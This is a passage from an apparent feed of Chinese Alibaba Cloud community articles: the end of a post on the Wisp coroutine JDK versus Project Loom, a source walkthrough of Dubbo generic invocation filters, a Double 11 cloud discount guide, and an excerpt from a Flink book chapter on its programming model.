        • 线程控制更加精确:举个例子,比如我们可以控制代理的客户端和后端连接都绑定在同一个netty线程,所有的操作都可以threadLocal化
        • 没有协程的runtime和调度开销(1%左右)

        但是使用协程依旧有一个优势:对于jdk中无处不在的synchronized块,wisp可以正确地切换调度。

        适应的Workload

        基于上述的背景,我们已经知道Wisp或者其他各种协程是适用于IO密集Java程序设计的。否则线程没有任何切换,只需要尽情地在CPU上跑,OS也不需要过多的干预,这是比较偏向于离线或者科学计算的场景。

        在线应用通常需要访问RPC、DB、cache、消息,并且是阻塞的,十分适合使用Wisp来提升性能。

        最早的Wisp1也是对这些场景进行了深度定制,比如hsf接受的请求处理是会自动用协程取代线程池,将IO线程数量设置成1个后使用epoll_wait(1ms)来代替selector.wakeup(),等等。因此我们经常受到的一个挑战是Wisp是否只适合阿里内部的workload?

        • 对于Wisp1是这样的,接入的应用的参数以及Wisp的实现做了深度的适配。
        • 对于Wisp2,会将所有线程转换成协程,已经无需任何适配了。

        为了证明这一点,我们使用了web领域最权威的techempower benchmak集来验证,我们选择了com.sun.net.httpserver、Servlet等常见的阻塞型的测试(性能不是最好,但是最贴近普通用户,同时具备一定的提升空间)来验证Wisp2在常见开源组件下的性能,可以看到在高压力下qps/RT会有10%~20%的优化。

        Project Loom

        Project Loom作为OpenJDK上的标准协程实现很值得关注,作为java开发者我们是否应该拥抱Loom呢?

        我们首先对Wisp和Loom这里进行一些比较:

        1)Loom使用序列化的方式保存上下文,更省内存,但是切换效率低。

        2)Wisp采用独立栈的方式,这点和go类似。协程切换只需切换寄存器,效率高但是耗内存。

        3)Loom不支持ObectMonitor,Wisp支持。

        • synchronized/Object.wait()将占用线程,无法充分利用CPU。
        • 还可能产生死锁,以Wisp的经验来说是一定会产生死锁(Wisp也是后来陆续支持ObectMonitor的)。

        4)Wisp支持在栈上有native函数时切换(反射等等),Loom不支持。

        • 对dubbo这样的框架不友好,栈底下几乎都带有反射。

        总根据我们的判断,Loom至少还要2年时间才能到达一个稳定并且功能完善的状态。Wisp的性能优秀,功能要完整很多,产品本身也要成熟很多。Loom作为Oracle项目很有机会进入Java标准,我们也在积极地参与社区,希望能将Wisp的一些功能实现贡献进社区。

        同时Wisp目前完全兼容Loom的Fiber API,假如我们的用户基于Fiber API来编程,我们可以保证代码的行为在Loom和Wisp上表现完全一致。

        FAQ

        协程也有调度,为什么开销小?

        我们一直强调了协程适用于IO密集的场景,这就意味了通常任务执行一小段时间就会阻塞等待IO,随后进行调度。这种情况下只要系统的CPU没有完全打满,使用简单的先进先出调度策略基本都能保证一个比较公平的调度。同时,我们使用了完全无锁的调度实现,使得调度开销相对内核大大减少。

        Wisp2为什么不使用ForkJoinPool来调度协程?

        ForkJoinPool本身十分优秀,但是不太适合Wisp2的场景。

        为了便于理解,我们可以将一次协程唤醒看到做一个Executor.execute()操作,ForkJoinPool虽然支持任务窃取,但是execute()操作是随机或者本线程队列操作(取决于是否异步模式)的,这将导致协程在哪个线程被唤醒的行为也很随机。

        在Wisp底层,一次steal的代价是有点大的,因此我们需要一个affinity,让协程尽量保持绑定在固定线程,只有线程忙的情况下才发生workstealing。我们实现了自己的workStealingPool来支持这个特性。从调度开销/延迟等各项指标来看,基本能和ForkJoinPool打平。

        还有一个方面是为了支持类似go的M和P机制,我们需要将被协程阻塞的线程踢出调度器,这些功能都不适宜改在ForkJoinPool里。

        如何看待Reactive编程?

        Reactive编程模型已经被业界广泛接受,是一种重要的技术方向;同时Java代码里的阻塞也很难完全避免。我们认为协程可以作为一种底层worker机制来支持Reactive编程,即保留了Reactive编程模型,也不用太担心用户代码的阻塞导致了整个系统阻塞。

        这里是Ron Pressler最近的一次演讲,作为Quasar和Loom的作者,他的观点鲜明地指出了回调模型会给目前的编程带来很多挑战 。

        Wisp经历了4年的研发,我将其分为几个阶段:

        1)Wisp1,不支持objectMonitor、并行类加载,可以跑一些简单应用;

        2)Wisp1,支持了objectMonitor,上线电商核心,不支持workStealing,导致只能将一些短任务转为协程(否则workload不均匀),netty线程依旧是线程,需要一些复杂且trick的配置;

        3)Wisp2,支持了workStealing,因此可以将所有线程转成协程,上述netty问题也不再存在了。

        目前主要的限制是什么?

        目前主要的限制是不能有阻塞的JNI调用,wisp是通过在JDK中插入hook来实现阻塞前调度的,如果是用户自定义的JNI则没有机会hook。

        最常见的场景就是使用了Netty的EpollEventLoop:

        1)蚂蚁的bolt组件默认开启了这个特点,可以通过-Dbolt.netty.epoll.switch=false 来关闭,对性能的影响不大。

        2)也可以使用-Dio.netty.noUnsafe=true , 其他unsafe功能可能会受影响。

        3)(推荐) 对于netty 4.1.25以上,支持了通过-Dio.netty.transport.noNative=true 来仅关闭jni epoll,参见358249e5

        原文发布时间为:2019-10-31
        作者: 梁希
        本文来自云栖社区合作伙伴“阿里技术”,了解相关信息可以关注“阿里技术”。

        ]]>
        Dubbo 泛化引用和泛化实现 Fri, 02 May 2025 09:39:04 +0800 开篇

         在Dubbo官方文档中关于泛化调用泛化实现的说明,这里针对文档的案例做一些简单的说明和解释。

        例子

        // 引用远程服务 
        // 该实例很重量,里面封装了所有与注册中心及服务提供方连接,请缓存
        ReferenceConfig<GenericService> reference = new ReferenceConfig<GenericService>();
        reference.setApplication(new ApplicationConfig("dubbo-demo-api-consumer"));
        reference.setRegistry(new RegistryConfig("zookeeper://127.0.0.1:2181"));
        
        // 弱类型接口名
        reference.setInterface("org.apache.dubbo.demo.DemoService");
        // 声明为泛化接口 
        reference.setGeneric("true");
        
        // 用org.apache.dubbo.rpc.service.GenericService可以替代所有接口引用  
        GenericService genericService = reference.get();
        // 基本类型以及Date,List,Map等不需要转换,直接调用 
        Object result = genericService.$invoke("sayHello",
                new String[] {"java.lang.String"}, new Object[] {"12345678"});
        
        System.out.println(result.toString());
        • 例子在注释中已经注明了泛化引用的一般步骤,这里不再赘述。
        • 核心的本质在于reference.get()的流程获取了consumer的对象,等同于xml通过reference初始化consumer的bean对象。
        • 本质上解析生成consumer的bean对象的过程就是泛化过程中reference.get()的过程。
        • 泛化调用唯一需要注意的是对参数的一些限制,基本上参数不需要转换,Class对象等参数需要把保存Class对象的完整类名。

        序列化说明

        public class Person {
        
            public Person() {
            }
        
            public Person(String name, Integer age) {
                this.name = name;
                this.age = age;
            }
        
            private String name;
            private Integer age;
        
            public String getName() {
                return name;
            }
        
            public void setName(String name) {
                this.name = name;
            }
        
            public Integer getAge() {
                return age;
            }
        
            public void setAge(Integer age) {
                this.age = age;
            }
        }
        
        
        
        代码例子-------------
        
        public class Demo {
            public static void main(String[] args) {
                Person person = new Person();
                person.setName("person");
                person.setAge(123);
        
                System.out.println("序列化后对象:");
                System.out.println(JSON.toJSONString(PojoUtils.generalize(person)));
        
                System.out.println("反序列化后对象:");
                System.out.println(JSON.toJSONString(PojoUtils.realize(PojoUtils.generalize(person), Person.class)));
            }
        }
        
        运行结果-----------------
        
        序列化后对象:
        {"name":"person","class":"org.apache.dubbo.demo.consumer.Person","age":123}
        
        反序列化后对象:
        {"age":123,"name":"person"}
        • 一般的泛化调用都是普通的reference引用,在泛化调用过程中通过PojoUtils.generalize/realize进行序列化和反序列化。
        • 在序列化过程中Person对象通过PojoUtils.generalize()序列化的结果当中增加了class字段,然后对序列化的结果进行反序列才能正常反序列化。
        • 在dubbo官网有下列说明,指明在泛化调用参数为POJO对象的时候通过使用Map需要带上class类型。

        泛化调用序列化补充

        源码分析

        • Dubbo泛化调用实际是在filter过滤链上执行的序列化和反序列化操作。
        • genericimpl对应consumer侧的泛化调用操作。
        • generic对应的为provider侧的返回调用操作。
        com.alibaba.dubbo.rpc.Filter文件内容
        
        generic=com.alibaba.dubbo.rpc.filter.GenericFilter
        genericimpl=com.alibaba.dubbo.rpc.filter.GenericImplFilter

        泛化引用

        @Activate(group = CommonConstants.CONSUMER, value = GENERIC_KEY, order = 20000)
        public class GenericImplFilter extends ListenableFilter {
        
            private static final Class<?>[] GENERIC_PARAMETER_TYPES = 
                        new Class<?>[]{String.class, String[].class, Object[].class};
        
            public GenericImplFilter() {
                super.listener = new GenericImplListener();
            }
        
            @Override
            public Result invoke(Invoker<?> invoker, Invocation invocation) throws RpcException {
        
                String generic = invoker.getUrl().getParameter(GENERIC_KEY);
                //服务端是泛化暴露,客户端不是使用泛化调用场景
                if (ProtocolUtils.isGeneric(generic)
                        && (!$INVOKE.equals(invocation.getMethodName()) && !$INVOKE_ASYNC.equals(invocation.getMethodName()))
                        && invocation instanceof RpcInvocation) {
                    RpcInvocation invocation2 = new RpcInvocation(invocation);
                    String methodName = invocation2.getMethodName();
                    Class<?>[] parameterTypes = invocation2.getParameterTypes();
                    Object[] arguments = invocation2.getArguments();
        
                    String[] types = new String[parameterTypes.length];
                    for (int i = 0; i < parameterTypes.length; i++) {
                        types[i] = ReflectUtils.getName(parameterTypes[i]);
                    }
        
                    Object[] args;
                    // 客户端(非泛化)到服务端(泛化)根据不同协议进行序列化
                    if (ProtocolUtils.isBeanGenericSerialization(generic)) {
                        args = new Object[arguments.length];
                        for (int i = 0; i < arguments.length; i++) {
                            args[i] = JavaBeanSerializeUtil.serialize(arguments[i], JavaBeanAccessor.METHOD);
                        }
                    } else {
                        args = PojoUtils.generalize(arguments);
                    }
        
                    if (RpcUtils.isReturnTypeFuture(invocation)) {
                        invocation2.setMethodName($INVOKE_ASYNC);
                    } else {
                        invocation2.setMethodName($INVOKE);
                    }
                    invocation2.setParameterTypes(GENERIC_PARAMETER_TYPES);
                    invocation2.setArguments(new Object[]{methodName, types, args});
                    // 客户端调用转换为服务端的泛化调用
                    return invoker.invoke(invocation2);
        
                 // 服务端非泛化暴露,消费使用泛化调用  
                } else if ((invocation.getMethodName().equals($INVOKE) || invocation.getMethodName().equals($INVOKE_ASYNC))
                        && invocation.getArguments() != null
                        && invocation.getArguments().length == 3
                        && ProtocolUtils.isGeneric(generic)) {
        
                    Object[] args = (Object[]) invocation.getArguments()[2];
                    // 校验不同的序列化格式是否正确
                    if (ProtocolUtils.isJavaGenericSerialization(generic)) {
        
                        for (Object arg : args) {
                            if (!(byte[].class == arg.getClass())) {
                                error(generic, byte[].class.getName(), arg.getClass().getName());
                            }
                        }
                    } else if (ProtocolUtils.isBeanGenericSerialization(generic)) {
                        for (Object arg : args) {
                            if (!(arg instanceof JavaBeanDescriptor)) {
                                error(generic, JavaBeanDescriptor.class.getName(), arg.getClass().getName());
                            }
                        }
                    }
        
                    invocation.setAttachment(
                            GENERIC_KEY, invoker.getUrl().getParameter(GENERIC_KEY));
                }
        
                return invoker.invoke(invocation);
            }
        }

        泛化实现

        @Activate(group = CommonConstants.PROVIDER, order = -20000)
        public class GenericFilter extends ListenableFilter {
        
            public GenericFilter() {
                super.listener = new GenericListener();
            }
        
            @Override
            public Result invoke(Invoker<?> invoker, Invocation inv) throws RpcException {
                // 如果方法名为$invoker,并且只有3个参数,
                // 并且服务端暴露的invoker不是GenericService的相关类
                // 则认为本次服务调用时客户端泛化引用服务端,客户端的泛化调用,
                // 需要将请求参数反序列化为该接口真实的pojo对象。
                if ((inv.getMethodName().equals($INVOKE) || inv.getMethodName().equals($INVOKE_ASYNC))
                        && inv.getArguments() != null
                        && inv.getArguments().length == 3
                        && !GenericService.class.isAssignableFrom(invoker.getInterface())) {
        
                    String name = ((String) inv.getArguments()[0]).trim();
                    String[] types = (String[]) inv.getArguments()[1];
                    Object[] args = (Object[]) inv.getArguments()[2];
                    try {
                        // 根据接口名(API类)、方法名、方法参数类型列表,根据反射机制获取对应的方法。
                        Method method = ReflectUtils.findMethodByMethodSignature(invoker.getInterface(), name, types);
                        Class<?>[] params = method.getParameterTypes();
                        if (args == null) {
                            args = new Object[params.length];
                        }
                        String generic = inv.getAttachment(GENERIC_KEY);
        
                        if (StringUtils.isBlank(generic)) {
                            generic = RpcContext.getContext().getAttachment(GENERIC_KEY);
                        }
                        
                      // 处理普通的泛化引用调用,即处理<dubbo:referecnce generic=“true” …/>,
                      // 只需要将参数列表Object[]反序列化为pojo即可,
                      // 具体的反序列化为PojoUtils#realize,
                      // 其实现原理如下:在JAVA的世界中,pojo通常用map来表示,
                      // 也就是一个Map可以用来表示一个对象的值,那从一个Map如果序列化一个对象呢?
                      // 其关键的要素是要在Map中保留该对象的类路径名,
                      // 也就是通过class来标识该Map需要反序列化的pojo类型。
        
                        if (StringUtils.isEmpty(generic)
                                || ProtocolUtils.isDefaultGenericSerialization(generic)
                                || ProtocolUtils.isGenericReturnRawResult(generic)) {
        
                            args = PojoUtils.realize(args, params, method.getGenericParameterTypes());
        
                        // 处理< dubbo:reference generic=“nativejava” /> 启用泛化引用,
                        // 并使用nativejava序列化参数,在服务端这边通过nativejava反序列化参数成pojo对象。
                        } else if (ProtocolUtils.isJavaGenericSerialization(generic)) {
                            for (int i = 0; i < args.length; i++) {
                                if (byte[].class == args[i].getClass()) {
                                    try (UnsafeByteArrayInputStream is = new UnsafeByteArrayInputStream((byte[]) args[i])) {
                                        args[i] = ExtensionLoader.getExtensionLoader(Serialization.class)
                                                .getExtension(GENERIC_SERIALIZATION_NATIVE_JAVA)
                                                .deserialize(null, is).readObject();
                                    } catch (Exception e) {
                                        throw new RpcException("Deserialize argument [" + (i + 1) + "] failed.", e);
                                    }
                                } else {
                                    throw new RpcException(
                                            "Generic serialization [" +
                                                    GENERIC_SERIALIZATION_NATIVE_JAVA +
                                                    "] only support message type " +
                                                    byte[].class +
                                                    " and your message type is " +
                                                    args[i].getClass());
                                }
                            }
        
                        // 处理< dubbo:reference generic=“bean” /> 启用泛化引用,
                        // 并使用javabean序列化参数,在服务端这边通过javabean反序列化参数成pojo对象。
                        } else if (ProtocolUtils.isBeanGenericSerialization(generic)) {
                            for (int i = 0; i < args.length; i++) {
                                if (args[i] instanceof JavaBeanDescriptor) {
                                    args[i] = JavaBeanSerializeUtil.deserialize((JavaBeanDescriptor) args[i]);
                                } else {
                                    throw new RpcException(
                                            "Generic serialization [" +
                                                    GENERIC_SERIALIZATION_BEAN +
                                                    "] only support message type " +
                                                    JavaBeanDescriptor.class.getName() +
                                                    " and your message type is " +
                                                    args[i].getClass().getName());
                                }
                            }
        
                        } else if (ProtocolUtils.isProtobufGenericSerialization(generic)) {
                            // as proto3 only accept one protobuf parameter
                            if (args.length == 1 && args[0] instanceof String) {
                                try (UnsafeByteArrayInputStream is =
                                             new UnsafeByteArrayInputStream(((String) args[0]).getBytes())) {
                                    args[0] = ExtensionLoader.getExtensionLoader(Serialization.class)
                                            .getExtension("" + GENERIC_SERIALIZATION_PROTOBUF)
                                            .deserialize(null, is).readObject(method.getParameterTypes()[0]);
                                } catch (Exception e) {
                                    throw new RpcException("Deserialize argument failed.", e);
                                }
                            } else {
                                throw new RpcException(
                                        "Generic serialization [" +
                                                GENERIC_SERIALIZATION_PROTOBUF +
                                                "] only support one" + String.class.getName() +
                                                " argument and your message size is " +
                                                args.length + " and type is" +
                                                args[0].getClass().getName());
                            }
                        }
                        // 序列化API方法中声明的类型,构建new RpcInvocation(method, args, inv.getAttachments())调用环境,继续调用后续过滤器。
                        return invoker.invoke(new RpcInvocation(method, args, inv.getAttachments()));
                    } catch (NoSuchMethodException e) {
                        throw new RpcException(e.getMessage(), e);
                    } catch (ClassNotFoundException e) {
                        throw new RpcException(e.getMessage(), e);
                    }
                }
                return invoker.invoke(inv);
            }
        }


        参考

        源码分析Dubbo 泛化调用与泛化实现原理
        dubbo泛化调用原理

        ]]>
        2019阿里云双11基础云产品分会场攻略 Fri, 02 May 2025 09:39:04 +0800 2019阿里云双11更多的优惠商品资讯来啦~

        今天小编要介绍的是“基础云产品”分会场的活动热点,活动于2019年11月1日火热开始。这次的活动热点:全场低至1折,海量爆款双11全年底价。

        现在小编来介绍这次基础云产品的四大板块分别是云服务器ECS、数据库、云存储及网络/CDN/中间件。下面,小编就来为各位分享该下这次分会场的攻略吧。

        基础云产品分会场活动阵地:https://www.aliyun.com/1111/2019/products

        【阿里云双11】基础云产品分会场活动亮点介绍

        1572503779725_9d02e76f_22ce_488c_ba56_32c6cd2b7d7c

        核心活动亮点:全场低至1折,海量爆款双11全年底价。

        • 活动对象:阿里云官网注册用户

        • 活动时间:2019年11月1日—2019年11月11日

        小编直接上爆款产品,云产品低至1折,限时抢购!

        1572501761826_c9db1bba_f758_4014_b7b5_900ea449f7b2

        看完爆款产品,小编再来隆重介绍基础云产品的四大主角。

        一、云服务器ECS

        注意:活动页面分为企业认证新用户专享云产品新购5折起。

        以下是企业认证新用户专享的产品:

        1572503599347_4842f5c5_5b23_4a4c_980a_bd64531ae390

        【 企业认证新用户专享 】

        活动亮点:高性能实例低至1折,限时限量抢购

        • 活动规则:

        1. 企业首购优惠规则:页面标注企业专享类优惠,仅针对企业注册用户首次购买云服务器ECS产品时可享受,同一用户仅限参与1次,每次限购3-5台(以页面为准),本活动不与其他活动或优惠叠加适用。

        2. GPU产品优惠规则:在活动页面首次购买GPU类产品的用户,可享受新购GN5包1年6折优惠,仅限企业注册认证用户专享。

        小编再来分享云服务器新购5折起的产品:

        1572504080984_d02f56cb_b66b_40d8_a26c_334d22bc89a8

        【 云服务器新购5折起 】

        活动亮点:云服务器新购5折起

        • 活动规则:

        1. 企业首购优惠规则:页面标注企业专享类优惠,仅针对企业注册用户首次购买云服务器ECS产品时可享受,同一用户仅限参与1次,每次限购3-5台(以页面为准),本活动不与其他活动或优惠叠加适用。

        2. GPU产品优惠规则:在活动页面首次购买GPU类产品的用户,可享受新购GN5包1年6折优惠,仅限企业注册认证用户专享。

        二、云数据库

        点我去云数据库活动专场>>

        1572508294731_db9c3435_0239_4c23_96f2_6361e02adc48

        活动亮点:新用户试用低至1元

        • 活动规则:

        1. 活动期间内,从未购买过云数据库的用户,可享最低1元试用价,限1次,限1台。

        2. 注意:产品右上角“新用户专享”的标签。

        1572508528723_9e852074_0be3_4840_aa6f_0a7d870f9c0b

        活动亮点:年付低至3折+满返代金券

        • 活动时间:2019年10月24日—2019年11月22日。
          其中:

        1、1年付全场75折优惠:2019年11月1日-2019年11月22日。
        2、1年付爆款3折优惠:2019年11月1日-2019年11月22日。
        3、专家服务代金券满赠活动:2019年10月24日-2019年11月22日。
        4、新用户试用体验价:2019年10月24日-2019年11月22日。

        • 活动规则:

        1、活动期间,新购或升级数据库产品累计消费达一定金额,可获赠相应的阿里云专家服务代金券。满3万送3000元,满5万送8000元,满10万送2万元。
        2、1年付全场75折优惠。
        ①活动期间,用户通过活动页面购买指定云数据库类产品,可享受新购、升级1年订单75折优惠;不限购买数量。
        3、1年付爆款3折优惠。
        ①活动期间,用户通过活动页面购买指定云数据库产品指定规格,可享受新购1年订单3折优惠;限3台。
        4、专家服务代金券满赠活动。
        ①活动期间,用户累计新购、升级云数据库产品订单实付金额达到一定额度,可获赠相应阿里云专家服务代金券。具体如下:
        累计新购、升级云数据库产品订单实付金额>=3万元,赠送3000元阿里云专家服务代金券;
        累计新购、升级云数据库产品订单实付金额>=5万元,赠送8000元阿里云专家服务代金券;
        累计新购、升级云数据库产品订单实付金额>=10万元,赠送20000元阿里云专家服务代金券。
        ②有效累计金额仅限用户新购、升级活动产品的金额,不包括续费数据库产品的金额;退款订单不计入有效累计金额。
        ③阿里云专家服务代金券将于2019年11月30日统一发放至满足条件的用户阿里云账号。
        ④专家服务代金券自发放之日起180天内有效,过期自动作废。
        ⑤专家服务代金券为专用代金券,仅可用于购买故障救援,性能调优,健康诊断,护航保障(线上),护航保障(现场),去O迁移,技术专家包的专家服务时折抵相应金额。
        5、新用户试用体验价。
        ①活动期间,对于从未购买过某类云数据库产品的阿里云用户可享受活动页面的试用体验价,购买指定规格的云数据库产品(具体以活动页面展示为准)。
        ②同一用户就同一类云数据库产品,仅可享受一次试用体验价优惠。

        1572509046875_f7837d25_c891_4830_8991_4f50259b8f47

        活动亮点:年付低至51折,可叠加满减优惠

        • 网络产品活动规则:

        1、面向新用户优惠活动折扣,“同一用户”仅限1次
        2、网络所有5折以上的活动产品均可在本次优惠折扣的基础上叠加满减优惠,具体满减活动规则请以官网页面详细说明为准:https:// www.aliyun.com/1111/2019/home
        3、共享流量包:新用户首次购买流量包可免费领取一个10GB流量包进行体验,每用户最多可以购买20个优惠折扣流量包。
        4、云企业网:
        ① 订购规格:本次跨境、非跨境产品仅针对2M~50M(含)规格提供优惠活动,其余规格不在本次活动范围内。
        ② 订购时长:本次跨境、非跨境产品均参与优惠活动,且包年包月均有优惠。(备注:跨境产品不支持包年购买,且购买后只支持续费降配,不支持退款)。
        ③ 折扣优惠:新用户可享受包月6折,包年51折优惠活动,仅限1次;老用户可享受包月7折,包年6折优惠活动,无次数限制;
        ④ 续费优惠:对包月购买用户提供续费优惠活动。凡活动期间成功按月购买云企业网的新、老用户,在2020.4.1日前续费该新购实例,均可享受与本次新购同等折扣优惠。最多续费5次,每次时长为1个月。
        同一用户名下非本次新购实例无法享受续费优惠。
        ⑤ 升级优惠:对包年、包月购买用户均可提供升级优惠活动。凡活动期间成功购买云企业网的新、老用户,在2020.4.1日前续费该新购实例,均可享受与本次新购同等折扣优惠。用户可多次升级,无次数限制。

        三、云网络


        _2019_11_01_3_00_26

        活动亮点:年付低至51折,可叠加满减优惠

        • 网络产品活动规则

        1、面向新用户优惠活动折扣,“同一用户”仅限1次。
        2、网络所有5折以上的活动产品均可在本次优惠折扣的基础上叠加满减优惠,具体满减活动规则请以官网页面详细说明为准:https:// www.aliyun.com/1111/2019/home
        3、共享流量包:新用户首次购买流量包可免费领取一个10GB流量包进行体验,每用户最多可以购买20个优惠折扣流量包。
        4、云企业网:
        ① 订购规格:本次跨境、非跨境产品仅针对2M~50M(含)规格提供优惠活动,其余规格不在本次活动范围内。
        ② 订购时长:本次跨境、非跨境产品均参与优惠活动,且包年包月均有优惠。(备注:跨境产品不支持包年购买,且购买后只支持续费降配,不支持退款)。
        ③ 折扣优惠:新用户可享受包月6折,包年51折优惠活动,仅限1次;老用户可享受包月7折,包年6折优惠活动,无次数限制;
        ④ 续费优惠:对包月购买用户提供续费优惠活动。凡活动期间成功按月购买云企业网的新、老用户,在2020.4.1日前续费该新购实例,均可享受与本次新购同等折扣优惠。最多续费5次,每次时长为1个月。
        同一用户名下非本次新购实例无法享受续费优惠。
        ⑤ 升级优惠:对包年、包月购买用户均可提供升级优惠活动。凡活动期间成功购买云企业网的新、老用户,在2020.4.1日前续费该新购实例,均可享受与本次新购同等折扣优惠。用户可多次升级,无次数限制。

        四、云存储

        1572509365693_c1ad72ca_421e_48a8_a831_992102e86c24

        活动亮点:海量规格6折特惠,新产品专享低至1折

        • 活动内容:
          1、活动期间,用户通过活动页面,购买如下活动产品的,可享受相应的优惠折扣(以活动页面展示为准):

        ① 对象存储:仅限OSS标准型存储包/归档型存储包/低频型存储包/回源流量100GB-500TB及下行流量包100TB含以下,其他产品容量不参与。
        ② 文件存储:仅限文件存储NAS性能型、容量型、NAS极速型500GB-500TB,其他产品容量不参与。
        ③ 混合云备份:仅限混合云备份客户端和容量及套餐。
        ④ 云存储网关:仅限云存储网关基础型、标准型和线下型。
        ⑤ 函数计算:仅限0~1000 CU。
        ⑥ 表格存储:仅限表格存储资源包(存储套餐)容量型实例1TB-80TB、高性能实例100GB-80TB。
        ⑦ 存储容量单位包:仅限规格为1TB-50TB。
        2、本次活动的购买地域仅限中国大陆地区(不含港澳台)。

        1572509605438_508b3656_a4e1_4c62_a100_ed0631b31d97

        活动亮点:低至6折,让视频分享更简单

        五、网络、CDN、中间件

        1572510000030_034a5e4b_f89a_445a_bc9d_69c00898f3e1

        活动亮点:产品折扣可以叠加代金券和购物车满减活动

        • 活动内容:

        1、活动期间,用户通过活动页面,购买如下活动产品的,可享受相应的优惠折扣(以活动页面展示为准):
        ① 企业级分布式应用服务EDAS标准版/专业版/铂金版
        ② 消息队列 for Apache RocketMQ资源包
        ③ 消息队列 for Apache Kafka资源包
        ④ 消息队列 for AMQP资源包
        ⑤ 消息队列 for MQTT资源包
        ⑥ 性能测试PTS资源包
        ⑦ 应用实时监控服务ARMS应用监控/前端监控资源包
        ⑧ 链路追踪Tracing Analysis 资源包
        2、本次活动的购买地域仅限中国大陆地区(不含港澳台)。

        看了这么多优惠的基础云产品,还不知道怎么选吗?那您可以选择下面搭配好的“套餐优惠购”哦!

        1572510187176_b5b4c0bb_289c_424d_a03c_135b8bc9de53

        面对如此折扣力度,红包丰富的促销活动,如果有问题建议一定要提前向云小二询问,售前咨询:95187转1。云小二会为大家提供全方位的购买咨询、精准的配置推荐 、1对1的贴心服务。

        ]]>
        带你读《Flink原理、实战与性能优化》之三:Flink编程模型 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        Flink编程模型
        本章将重点介绍Flink编程模型中的基本概念和编写Flink应用程序所遵循的基本模式。其中,包括Flink支持的数据集类型,有界数据集和无界数据集的区别,以及有界数据集和无界数据集之间的转换。同时针对无界和有界数据集的处理,将介绍Flink分别提供对应的开发接口DataStream API和DataSet API的使用。然后介绍Flink程序结构,包括基本的Flink应用所包含的组成模块等。最后介绍Flink所支持的数据类型,包括常用的POJOs、Tuples等数据类型。

        3.1 数据集类型

        现实世界中,所有的数据都是以流式的形态产生的,不管是哪里产生的数据,在产生的过程中都是一条条地生成,最后经过了存储和转换处理,形成了各种类型的数据集。如图3-1所示,根据现实的数据产生方式和数据产生是否含有边界(具有起始点和终止点)角度,将数据分为两种类型的数据集,一种是有界数据集,另外一种是无界数据集。
        1. 有界数据集
        有界数据集具有时间边界,在处理过程中数据一定会在某个时间范围内起始和结束,有可能是一分钟,也有可能是一天内的交易数据。对有界数据集的数据处理方式被称为批计算(Batch Processing),例如将数据从RDBMS或文件系统等系统中读取出来,然后在分布式系统内处理,最后再将处理结果写入存储介质中,整个过程就被称为批处理过程。而针对批数据处理,目前业界比较流行的分布式批处理框架有Apache Hadoop和Apache Spark等。

        image.png

        2. 无界数据集
        对于无界数据集,数据从开始生成就一直持续不断地产生新的数据,因此数据是没有边界的,例如服务器的日志、传感器信号数据等。和批量数据处理方式对应,对无界数据集的数据处理方式被称为流式数据处理,简称为流处理(Streaming Process)。可以看出,流式数据处理过程实现复杂度会更高,因为需要考虑处理过程中数据的顺序错乱,以及系统容错等方面的问题,因此流处理需要借助专门的流数据处理技术。目前业界的Apache Storm、Spark Streaming、Apache Flink等分布式计算引擎都能不同程度地支持处理流式数据。
        3. 统一数据处理
        有界数据集和无界数据集只是一个相对的概念,主要根据时间的范围而定,可以认为一段时间内的无界数据集其实就是有界数据集,同时有界数据也可以通过一些方法转换为无界数据。例如系统一年的订单交易数据,其本质上应该是有界的数据集,可是当我们把它一条一条按照产生的顺序发送到流式系统,通过流式系统对数据进行处理,在这种情况下可以认为数据是相对无界的。对于无界数据也可以拆分成有界数据进行处理,例如将系统产生的数据接入到存储系统,按照年或月进行切割,切分成不同时间长度的有界数据集,然后就可以通过批处理方式对数据进行处理。从以上分析我们可以得出结论:有界数据和无界数据其实是可以相互转换的。有了这样的理论基础,对于不同的数据类型,业界也提出了不同的能够统一数据处理的计算框架。
        目前在业界比较熟知的开源大数据处理框架中,能够同时支持流式计算和批量计算,比较典型的代表分别为Apache Spark和Apache Flink两套框架。其中Spark通过批处理模式来统一处理不同类型的数据集,对于流数据是将数据按照批次切分成微批(有界数据集)来进行处理。Flink则从另外一个角度出发,通过流处理模式来统一处理不同类型的数据集。Flink用比较符合数据产生的规律方式处理流式数据,对于有界数据可以转换成无界数据统一进行流式,最终将批处理和流处理统一在一套流式引擎中,这样用户就可以使用一套引擎进行批计算和流计算的任务。
        前面已经提到用户可能需要通过将多种计算框架并行使用来解决不同类型的数据处理,例如用户可能使用Flink作为流计算的引擎,使用Spark或者MapReduce作为批计算的引擎,这样不仅增加了系统的复杂度,也增加了用户学习和运维的成本。而Flink作为一套新兴的分布式计算引擎,能够在统一平台中很好地处理流式任务和批量任务,同时使用流计算模式更符合数据产生的规律,相信Flink会在未来成为众多大数据处理引擎的一颗明星。

        3.2 Flink编程接口

        如图3-2所示,Flink根据数据集类型的不同将核心数据处理接口分为两大类,一类是支持批计算的接口DataSet API,另外一类是支持流计算的接口DataStream API。同时Flink将数据处理接口抽象成四层,由上向下分别为SQL API、Table API、DataStream /DataSet API以及Stateful Stream Processing API,用户可以根据需要选择任意一层抽象接口来开发Flink应用。
        (1)Flink SQL
        从图3-2中可以看出,Flink提供了统一的SQL API完成对批计算和流计算的处理,目前SQL API也是社区重点发展的接口层,对SQL API也正在逐步完善中,其主要因为SQL语言具有比较低的学习成本,能够让数据分析人员和开发人员更快速地上手,帮助其更加专注于业务本身而不是受限于复杂的编程接口。

        image.png


        (2)Table API
        Table API将内存中的DataStream和DataSet数据集在原有的基础之上增加Schema信息,将数据类型统一抽象成表结构,然后通过Table API提供的接口处理对应的数据集。SQL API则可以直接查询Table API中注册表中的数据表。Table API构建在DataStream和DataSet之上的同时,提供了大量面向领域语言的编程接口,例如GroupByKey、Join等操作符,提供给用户一种更加友好的处理数据集的方式。除此之外,Table API在转换为DataStream和DataSet的数据处理过程中,也应用了大量的优化规则对处理逻辑进行了优化。同时Table API中的Table可以和DataStream 及DataSet之间进行相互转换。
        (3)DataStream API和DataSet API
        DataStream API和DataSet API主要面向具有开发经验的用户,用户可以使用DataStream API处理无界流数据,使用DataSet API处理批量数据。DataStream API和DataSet API接口同时提供了各种数据处理接口,例如map,filter、oins、aggregations、window等方法,同时每种接口都支持了Java、Scala及Python等多种开发语言的SDK。
        (4)Stateful Stream Process API
